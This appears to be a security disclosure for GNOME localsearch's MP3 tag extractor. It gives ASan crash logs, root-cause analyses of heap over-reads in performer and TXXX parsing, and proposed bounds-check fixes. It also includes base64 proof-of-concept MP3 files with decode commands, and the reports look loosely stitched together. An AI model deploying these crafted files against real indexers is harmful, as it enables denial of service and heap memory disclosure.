VVVVVVVVVVVVVVVVVVVVTEFNRTMuMTAwVS5pZDMub3JnL2R1bW15L3VmaWQuaHRtbAB1ZmlkAFRZRVIAAAAFAAAAMjAyNFRDT04AAAAFAAAAKDQyKQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzwAAAAAAAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVX/+xRk4Y/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAADSAAAAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVEFHdGl0bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABhcnRpc3QAAAAAAAAAAAAAAAAAAAAAAAAAVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAAAABhbGJ1bQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxMDEyY29tbWVudAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCQ== EOF
ASANOPTIONS=detectodrviolation=0 ./build/src/extractor/localsearch-extractor-3 --file reproductioncomm.mp3
Crash Log
==1779506==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000432ffc at pc 0x5f605a9c7eaf bp 0x7ffea6c57870 sp 0x7ffea6c57038 READ of size 3 at 0x502000432ffc thread T0 #0 0x5f605a9c7eae in strlen (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x8feae) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #1 0x780709cbdc57 in gconvertwithiconv (/lib/x8664-linux-gnu/libglib-2.0.so.0+0x39c57) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #2 0x780709cbdf81 in gconvert (/lib/x8664-linux-gnu/libglib-2.0.so.0+0x39f81) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #3 0x5f605aa913e4 in converttoencoding /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:837:9 #4 0x5f605aa91bb5 in getid3v23tags /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:1832:10 #5 0x5f605aa8cdb3 in parseid3v23 /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:2494:4 #6 0x5f605aa8cdb3 in parseid3v2 /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:2627:3 #7 0x5f605aa8cdb3 in trackerextractgetmetadata /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:2708:17 #8 0x5f605aa89c0b in LLVMFuzzerTestOneInput /root/targets/localsearch/tests/fuzz/fuzztrackermp3.c:82:5 #9 0x5f605a997344 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const, unsigned long) (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x5f344) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #10 0x5f605a996a39 in fuzzer::Fuzzer::RunOne(unsigned char const, unsigned long, bool, fuzzer::InputInfo, bool, bool) (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x5ea39) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #11 0x5f605a998225 in fuzzer::Fuzzer::MutateAndTestOne() (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x60225) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #12 0x5f605a998d85 in fuzzer::Fuzzer::Loop(std::vector<fuzzer::SizedFile, std::allocator<fuzzer::SizedFile>>&) (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x60d85) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #13 0x5f605a98605f in fuzzer::FuzzerDriver(int, char, int ()(unsigned char const, unsigned long)) (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x4e05f) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #14 0x5f605a9b06e6 in main (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x786e6) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #15 0x78070982a1c9 in libcstartcallmain csu/../sysdeps/nptl/libcstartcallmain.h:58:16 #16 0x78070982a28a in libcstartmain csu/../csu/libc-start.c:360:3 #17 0x5f605a97b044 in start (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x43044) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9)
0x502000432ffc is located 1 bytes after 11-byte region [0x502000432ff0,0x502000432ffb) allocated by thread T0 here: #0 0x5f605aa4b65d in calloc (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x11365d) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #1 0x780709ce7721 in gmalloc0 (/lib/x8664-linux-gnu/libglib-2.0.so.0+0x63721) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #2 0x5f605aa8f54b in ununsync /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:767:17 #3 0x5f605aa8cd87 in parseid3v23 /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:2493:4 #4 0x5f605aa8cd87 in parseid3v2 /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:2627:3 #5 0x5f605aa8cd87 in trackerextractgetmetadata /root/targets/localsearch/tests/fuzz/../../src/extractor/tracker-extract-mp3.c:2708:17 #6 0x5f605aa89c0b in LLVMFuzzerTestOneInput /root/targets/localsearch/tests/fuzz/fuzztrackermp3.c:82:5 #7 0x5f605a997344 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const, unsigned long) (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x5f344) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #8 0x5f605a996a39 in fuzzer::Fuzzer::RunOne(unsigned char const, unsigned long, bool, fuzzer::InputInfo, bool, bool) (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x5ea39) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #9 0x5f605a998225 in fuzzer::Fuzzer::MutateAndTestOne() (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x60225) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #10 0x5f605a998d85 in fuzzer::Fuzzer::Loop(std::vector<fuzzer::SizedFile, std::allocator<fuzzer::SizedFile>>&) (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x60d85) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #11 0x5f605a98605f in fuzzer::FuzzerDriver(int, char, int ()(unsigned char const, unsigned long)) (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x4e05f) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #12 0x5f605a9b06e6 in main (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x786e6) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) #13 0x78070982a1c9 in libcstartcallmain csu/../sysdeps/nptl/libcstartcallmain.h:58:16 #14 0x78070982a28a in libcstartmain csu/../csu/libc-start.c:360:3 #15 0x5f605a97b044 in start (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x43044) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/targets/localsearch/tests/fuzz/fuzztrackermp3+0x8feae) (BuildId: 7c731b9ce17448f8a46e707295eadb418543bee9) in strlen Shadow bytes around the buggy address: 0x502000432d00: fa fa fd fd fa fa fa fa fa fa fd fd fa fa 00 06 0x502000432d80: fa fa fd fd fa fa 00 06 fa fa fa fa fa fa 00 07 0x502000432e00: fa fa 00 06 fa fa 00 06 fa fa fa fa fa fa fa fa 0x502000432e80: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd 0x502000432f00: fa fa fa fa fa fa 00 05 fa fa fa fa fa fa fd fa =>0x502000432f80: fa fa fd fd fa fa fa fa fa fa fa fa fa fa 00[03] 0x502000433000: fa fa fa fa fa fa 00 03 fa fa fa fa fa fa 00 06 0x502000433080: fa fa fa fa fa fa fa fa fa fa 00 02 fa fa fd fa 0x502000433100: fa fa fa fa fa fa fd fa fa fa fd fd fa fa 00 01 0x502000433180: fa fa 06 fa fa fa fa fa fa fa 07 fa fa fa 00 06 0x502000433200: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1779506==ABORTING MS: 5 ChangeASCIIInt-ChangeByte-CrossOver-EraseBytes-CrossOver-; base unit: e80654459ea1f99ae34e774f144565a20851c746 artifactprefix='./'; Test unit written to ./crash-13ba8413b56dc4c4727231bdc3616b733ad9ee4e
Vulnerability Report: Heap Buffer Overflow in GNOME localsearch MP3 Extractor Project: https://gitlab.gnome.org/GNOME/localsearch Component: tracker-extract-mp3 Vulnerability Type: Heap Buffer Overflow (Read)
Description A secondary heap buffer overflow vulnerability exists in the extractperformerstags function of src/extractor/tracker-extract-mp3.c. When parsing ID3v2.4 tags, a missing bounds check allows the loop to advance pos + offset beyond the buffer size (csize). This causes the remaining length calculation to underflow, effectively passing a negative value (interpreted as -1) to gconvert. This triggers gconvert to treat the input as a null-terminated string, leading to a read out-of-bounds in strlen as it searches for a null byte in heap memory.
Root Cause Analysis The vulnerability occurs in the loop that parses performer tags:
// src/extractor/tracker-extract-mp3.c while (pos + offset < csize) { // ... textinstrument = &data[pos]; textinstrumentlen = id3v2strlen (..., csize - 1); // Issue 1: incorrect max len offset = textinstrumentlen + id3v2nulsize (textencode); // VULNERABILITY: No check if (pos + offset) >= csize textperformer = &data[pos + offset];
// Underflow happens here: // If (pos + offset) > csize, then (csize - pos - offset) wraps around to a huge value. // When cast to gssize (signed), this huge value can be interpreted as -1. if (version == 2.4f) { performer = id3v24texttoutf8 (textencode, textperformer, csize - pos - offset, info); } // ... }
When csize - pos - offset underflows and results in -1 (or is treated as such by gconvert internal logic), gconvert calling strlen will read until it crashes or finds a null byte, causing a Denial of Service or Information Disclosure.
Impact
Denial of Service: The strlen function reads unmapped memory, causing a SIGSEGV.
Information Disclosure: Similar to the primary vulnerability, this could read visible heap data if a null byte is found far away.
Remediation Add an explicit bounds check inside the loop to ensure pos + offset does not exceed csize before accessing data or calculating remaining length.
offset = textinstrumentlen + id3v2nulsize (textencode); + + if (pos + offset >= csize) { + break; + } + textperformer = &data[pos + offset];
PoC File (Base64) You can recreate the crash file by decoding this base64 string. MD5 Checksum: 22ff0943d674fd14f72b34a9b32191b5
base64 -d <<EOF > reproduction.mp3 SUQzBAAAAAASS1RJVDIAAAAGAAADdGl0bGVUTUNMAAAAB/86VA4/SUVudGVydGFpbm1lbnQgRmlubGFuZCBPeQBBUElDAAMQNwAAAGltYWdlL2pwZWcAAwD/2P/gABBKRklGAAEBAQBgAGAAAP/bAEMABgQFBgUEBgYFBgcHBggKEAoKCQkKFA4PDBAXFBgYFxQWFhodJR8aGyMcFhYII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAA4f8AAAAAAQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQAAQAAAaQAAAAgAAA0gAAABFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVX/+xRk4Y/wAABpAAAACAAADSAAAAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUxBTUUzLjEwMFVVVVVVVVVVVVVVVVVV//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9VVVVVVVVVVf/7FGThj/AAAGkAAAAIADSAAAAEVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVEFHdGl0bGUAAAAABSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD6pooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKC2PJCiqOs6Xb6xYtaXbTrExDEwTNE3Bz95SDXzh8X/ALR4b8YfYNI1LU4bX7NHJta9lb5iWyclvYVlVqOnrbQ9TLMuWYVPZKdpb7aW+/8AQ+naK+LP7f1n/oL6l/4DTXVzaWNCcmFpbnogUmVsZWFzZSBHcm91cCBJZAA1NjEyMzQAVFhYWAAAACUAAANNdXNpY0JyYWlueiBSZWwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZWFzZSBUcmFka0kAIGMxMjM0NTYAVENPUCsAAC4AAAMoUCkgMjAwOCBTb255IE11c2ljIEVudGVydGFpbm1lbnQgRmlubGFuZCBPeQBBUElDAAMQNwAAAGltYWdlL2pwZWcAAwD/2P/gABBKRklGAAEBAQBgAGAAAP/bAEMABgQFBgUEBgYFBgcHBggKEAoKCQkKFA4PDBAXFBgYFxQWFhodJR8aGyMcFhYgLCAjJicpKikZHy0wLSgwJSgpKP/bAEMBBwcHCggKEwoKEygaFhooKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKP/AABEIAeAB4AMBIgAAEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAVUQ09OCgv/xAC1EABVVVVVVVVVTEFNRTQuMTAwVVVVVVVVVVVVVVVVVVVVVVVVVVVVVf9kFPCP4QAA+2kAAAAIAAAADQEAACAAAaQAAAAgAAAzgAAABFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVTEFNRTMuMTAwVVVVVVVVVVVVVVVVVVVVVVVVVVVVVf/7FGThj/AAAGkAAAAIAAANIAAAAQAAAaQAAAAgAAA0gAAABFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVTEFNRTMuMTAwVVVVVVVVVVVVVVVVVVVVVVVVVVVVVf/7FBcUGBgXFBYWGh0lHxobIxwWFiAsIComJykqKRkfLTAtKDAlKCko/9sAQwEHBwcKCAoT////////////////////////////////////////////////oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQFk4Y/wAABpAgAACAAADSAAAAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUxBTUUzLjEwMFVVVVVVVVVVVVVVVVVVVVVVVVVVVVX/+xRk4Y/wAABpAAAACAAADSAAAAEAAAGkAAAAIAAANIAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUxBTUUzLjEwMFVVVVVVVVVVVVVVVVVV//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9VVVVVVVVVVf/7FGThj/AAAGkAAAAIADSAAAAEVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVEFHdGl0bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYXJ0aXN0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWxidW0AAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAMjAyNGNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQk= EOF
Crash Log
➜ localsearch git:(main) ✗ ASANOPTIONS=detectodrviolation=0 ./build/src/extractor/localsearch-extractor-3 --file crash-9f27a785fa8a60e9a563634aff924ed6ba00101b
(process:1776601): Tracker-WARNING : 20:04:28.002: No seccomp support compiled-in. AddressSanitizer:DEADLYSIGNAL ================================================================= ==1776601==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x609479fed286 bp 0x7ffddb7fe520 sp 0x7ffddb7fe370 T0) ==1776601==The signal is caused by a READ memory access. ==1776601==Hint: address points to the zero page. #0 0x609479fed286 in runstandalone ../src/extractor/tracker-main.c:269 #1 0x609479fedaa7 in domain ../src/extractor/tracker-main.c:370 #2 0x609479fee475 in main ../src/extractor/tracker-main.c:469 #3 0x787477e2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #4 0x787477e2a28a in libcstartmainimpl ../csu/libc-start.c:360 #5 0x609479fde684 in start (/tmp/localsearch/build/src/extractor/localsearch-extractor-3+0x12684) (BuildId: f9112407d77014a3cdb422851c1f4cce6c2b9852)
AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ../src/extractor/tracker-main.c:269 in runstandalone ==1776601==ABORTING
Vulnerability Report: Heap Buffer Overflow in GNOME localsearch MP3 Extractor (TXXX Tags) Project: https://gitlab.gnome.org/GNOME/localsearch Component: tracker-extract-mp3 Vulnerability Type: Heap Buffer Overflow (Read)
Description A heap buffer overflow vulnerability exists in the extracttxxxtags function of src/extractor/tracker-extract-mp3.c. This function handles User Defined Text Information Frames (TXXX). When parsing these frames, the code calculates an offset based on the description string length but fails to verify if this offset exceeds the total frame size (csize) before using it to calculate the remaining buffer size for the text value.
Root Cause Analysis The vulnerability occurs due to a missing bounds check:
// src/extractor/tracker-extract-mp3.c:1487 textdesclen = id3v2strlen (textencode, textdesc, csize - 4); offset = 4 + textdesclen + id3v2nulsize (textencode);
// VULNERABILITY: No check if offset >= csize
text = &data[pos + offset]; // data pointer advanced
if (version == 2.4f) { // Underflow happens here: // If offset > csize, (csize - offset) wraps around to a huge value (unsigned subtraction). // This huge value is passed as the length to id3v24texttoutf8/gconvert. value = id3v24texttoutf8 (textencode, text, csize - offset, info); }
This leads to gconvert receiving a very large length (or -1 if interpreted as signed), causing it to read out of bounds from the heap.
Impact
Denial of Service: Reading unmapped memory causes a SIGSEGV.
Information Disclosure: Potentially reads sensitive data from the heap if a null byte is found far away.
PoC File (Base64) You can recreate the crash file by decoding this base64 string. MD5 Checksum: 2a98a39a6ee191ac5492aff97c407f1023005243
base64 -d <<EOF > reproductiontxxx.mp3 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cG9zZXJUT1BFAAAAEAAAAG9yadlpbmFsIGFydGlzdFRDT1AAAAAKAAAAY29weXJpZ2h0V1hYWAAAABQAaAB0AAB0cDovL2V4YW1wbGUuY29tVEVOQwAAAAgAAABlbmNvZGVySVBMUwAAAkEAAElEMwQAAAAAEVFVVVVVVElUMgAAABEAAANTaW1wbHkgSnV2ZW5pbGUAVFBUWUVSRTEAAAAIAAADQWJCYWJ5AFRSQ0sAAAAEAAAAMTMAVEFMQgAAAAgAAANTaW5Db3MAVERSQwAAAAYAAAMyMDA4AFRDT04AAAAFAAADUG9wAFRDT00AAAAEAAADQWIAVENPUAAAAAYAAAM2GA1SD5Djgz+j0WPAGhOA1San+VxbHKRtYBqV0f945qKEakhEJfVkpuGtFs2+zsrBYy4d0Lumzv/zQsTQFFq23FZ6RC1QQxWw+DDIYqVq9EOFElVCqeg5SllNz+WWq9VIj/sjJ/1OW9fwYVrS9FDu9vhpAIBGn+nGCTnhri+MmjNV6jKa8WNHXNuaj9y5G93tqnTcN3/96UNPveUMESbUd53lHtnr7Xrdfpf8s9JUQy3xqMIq3QBO1mLlj0ydQzl5piEuuBtx0P/zQsSxE4FS0AAKRgzE/+YUapTfajc3zidUV9UanaXkkZWeeKocgoYlQg5Gw4YVbFcpe9veaankuDgGEk6myL/FQsReAAADSAHAAACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqJKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo2hTaTKzdiiW86tLUEVC//80LE5h1CRtlGeYcRX0QQm9FH8O2t65mfs3cnCeShvVV/s+oqrbOZDFQrq5fVii06kou33E7z+38IbKMAVRGaCAO3KCxYSiRVB0iSDkvIN+7JtjTo3X0U87xk82igEM//80LE7FVURi04GDrS1A55hJzTax9SRmzcw0OBik/XcubEYoiLgs0hTLP9NfOze/zy5r8L77MoStyvNbO36JUCAZWgjA9M/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+R04ZLCMvSmX4KPa6L/v3adtSV5oiJaGxoKSumjZUTu/og6mRhpdDv/80DE5xb60uWWeUZcDajWoWjSKiCxkV0tzEflKj8+2rKknbtoK9yj0X7szJZxM+y4RYyIkicFMXNxLJcqBVtrpx1I24RJ4jsS+zexZlEMv99CWdHCuv/a3RGEt/6WzIBHmdjstNfqvBL/80LEiRR68tSmeYQstzvMk9aMR7qCJ9TI6gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFREUkwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAEAAAGkAAAggDQAAAAAAARVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVMQU1FMy4xMDBVVVVVVVVVVVVVVVVVVVVVVVVVVVVV//sUZB4P8AAAaQAAAAgAAA0gAAABAAABpAAAACAAADSAAAAEVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVMQZz6SLQQxzyqZ226UVtAVku0xdntm16s26UGDs1abq6RR35WiVfab/hPIe9tLlIQCk5hodIC4oJi+z42jAWXlZ1HcwG3qK+YdlVVVfr6jn//80LEchRVcl72H1XLEAFydcIb797DzGVNlhWa1qLTDa92dTFdwW/8lbrtf6qqqqqqqqqqqqqqqqqqqqqqqqqq//NAxLoAAAP658uX4rIjhKdiAGBw+x2m7oNOz9aqzC4YBxs/7V20v3M6mE2DPE/3g0DjyafrOZp/vi7638uh/0DN7fRVZ/T43/s6J/RwZ1V6RXzUHr3NFUWVCE8MWX6PiyVKfYTjxYf9Shj/80LEXhMafuC2WYRYQvW7SAAAAACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqVEFHU2ltcGx5IEp1dmVuaWxlAAAAAAAAAAAAAAAAAAAAQWJCYWJ5AAAAAAAAAAAAAAAAAABNRTMuMTAn8TAAAAAAAAAAAAAAU2luQ29zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMjAwOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQ0= EOF
Crash Log
